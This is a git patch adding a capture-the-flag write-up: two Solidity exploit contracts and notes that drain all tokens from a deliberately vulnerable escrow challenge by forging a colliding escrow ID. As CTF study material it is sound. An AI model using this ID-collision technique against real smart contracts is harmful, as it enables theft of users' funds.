From be03d2b155ac1b768418575f859e29e5816b2972 Mon Sep 17 00:00:00 2001 From: doublespending Date: Sun, 22 Sep 2024 09:43:03 +0800 Subject: [PATCH] Add day25 of doublespending --- Writeup/doublespending/day25/escrow_1.sol | 31 +++++++++++++++++++++++ Writeup/doublespending/day25/escrow_2.sol | 30 ++++++++++++++++++++++ doublespending.md | 24 ++++++++++++++++++ 3 files changed, 85 insertions(+) create mode 100644 Writeup/doublespending/day25/escrow_1.sol create mode 100644 Writeup/doublespending/day25/escrow_2.sol diff --git a/Writeup/doublespending/day25/escrow_1.sol b/Writeup/doublespending/day25/escrow_1.sol new file mode 100644 index 00000000..cb1602de --- /dev/null +++ b/Writeup/doublespending/day25/escrow_1.sol @@ -0,0 +1,31 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity 0.8.15; + +import { Setup, DualAssetEscrow } from "src/escrow/Setup.sol"; + +contract Exploit { + Setup setup; + + constructor(Setup _setup) { + setup = _setup; + } + + function solve() external { + // Deploy escrow that has the same ID as the one to drain + bytes19 zero_bytes = bytes19(abi.encodePacked(address(0))); + (uint256 escrowId, ) = setup.factory().deployEscrow( + 0, // implId = 0 + abi.encodePacked(address(setup.grey()), zero_bytes) // tokenY = 19 bytes of 0x00 + ); + + // ID of this escrow and the one to drain is the same + assert(escrowId == setup.escrowId()); + + // Withdraw all GREY from the escrow to drain + DualAssetEscrow escrow = DualAssetEscrow(setup.escrow()); + escrow.withdraw(true, 10_000e18); + + // Transfer all GREY to msg.sender + setup.grey().transfer(msg.sender, 10_000e18); + } +} \ No newline at end of file diff --git a/Writeup/doublespending/day25/escrow_2.sol b/Writeup/doublespending/day25/escrow_2.sol new file mode 100644 index 00000000..f557ceba --- /dev/null +++ b/Writeup/doublespending/day25/escrow_2.sol @@ -0,0 +1,30 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity 0.8.15; + +import { Setup, DualAssetEscrow } from "src/escrow/Setup.sol"; + +contract Exploit { + Setup setup; + + constructor(Setup _setup) { + setup = _setup; + } + + function solve() external { + // Deploy escrow that has the same ID as the one to drain + (uint256 escrowId, ) = setup.factory().deployEscrow( + 1, // implId = 1 + abi.encodePacked(address(setup.grey()), address(0)) + ); + + // ID of this escrow and the one to drain is the same + assert(escrowId == setup.escrowId()); + + // Withdraw all GREY from the escrow to drain + DualAssetEscrow escrow = DualAssetEscrow(setup.escrow()); + escrow.withdraw(true, 10_000e18); + + // Transfer all GREY to msg.sender + setup.grey().transfer(msg.sender, 10_000e18); + } +} \ No newline at end of file diff --git a/doublespending.md b/doublespending.md index 76c8e5cc..f7aced47 100644 --- a/doublespending.md +++ b/doublespending.md @@ -366,4 +366,28 @@ B: [Grey Cat the Flag 2024 Milotruck challs](https://github.com/MiloTruck/evm-ct - At this case, we get [`shares[to=from] = origin + _shares`](https://github.com/MiloTruck/evm-ctf-challenges/blob/a385836e1e83543b06ff3b8108cf962f4d74a49d/src/greyhats-dollar/GHD.sol#L133) - However, the share is expected unchanged. +### 2024.09.22 + +B: [Grey Cat the Flag 2024 Milotruck challs](https://github.com/MiloTruck/evm-ctf-challenges) (6) + +- Escrow + + - Ownership of escrowId has been renounced at the end. + - So, we should find a way to get back the ownership through [`deployEscrow`](https://github.com/MiloTruck/evm-ctf-challenges/blob/a385836e1e83543b06ff3b8108cf962f4d74a49d/src/escrow/EscrowFactory.sol#L70) + - Approach 1 + + - To by pass the check [here](https://github.com/MiloTruck/evm-ctf-challenges/blob/a385836e1e83543b06ff3b8108cf962f4d74a49d/src/escrow/EscrowFactory.sol#L54), we can construct different `args` that can generate the same `escrowId` + - [`args` contributes to `tokenX` and `tokenY`](https://github.com/MiloTruck/evm-ctf-challenges/blob/a385836e1e83543b06ff3b8108cf962f4d74a49d/src/escrow/DualAssetEscrow.sol#L45-L46). They are fetched [here](https://github.com/MiloTruck/evm-ctf-challenges/blob/a385836e1e83543b06ff3b8108cf962f4d74a49d/src/escrow/DualAssetEscrow.sol#L116-L117). `tokenY` is expected to be `address(0)`. + - However, [`_getArgAddress`](https://github.com/MiloTruck/evm-ctf-challenges/blob/a385836e1e83543b06ff3b8108cf962f4d74a49d/src/escrow/lib/Clone.sol#L15-L25) just reads 20 bytes from `argOffset`. + - However, `tokenY` can be `bytes19(0)`. If the following byte is bytes1(0), we can always get `tokenY` as `address(0)` by `_getArgAddress`. + - [For length of data smaller than 256, so the following byte is bytes1(0).](https://github.com/MiloTruck/evm-ctf-challenges/blob/a385836e1e83543b06ff3b8108cf962f4d74a49d/src/escrow/DualAssetEscrow.sol#L47) + - Why not just append 0 bytes to `args`? + - Becasue there is a length check [here](https://github.com/MiloTruck/evm-ctf-challenges/blob/a385836e1e83543b06ff3b8108cf962f4d74a49d/src/escrow/DualAssetEscrow.sol#L49) + + - Approach 2 + - To by pass the check [here](https://github.com/MiloTruck/evm-ctf-challenges/blob/a385836e1e83543b06ff3b8108cf962f4d74a49d/src/escrow/EscrowFactory.sol#L54), we can construct different `implId` that can generate the same `escrowId` + - We can add the same implementation [here](https://github.com/MiloTruck/evm-ctf-challenges/blob/a385836e1e83543b06ff3b8108cf962f4d74a49d/src/escrow/EscrowFactory.sol#L32) with the same `impl` parameter. + - Then, we get different `implId`(=1) with the same `impl` and `implId` does not contribute to `escrowId` + - However, only factory owner can call `addImplementation`. +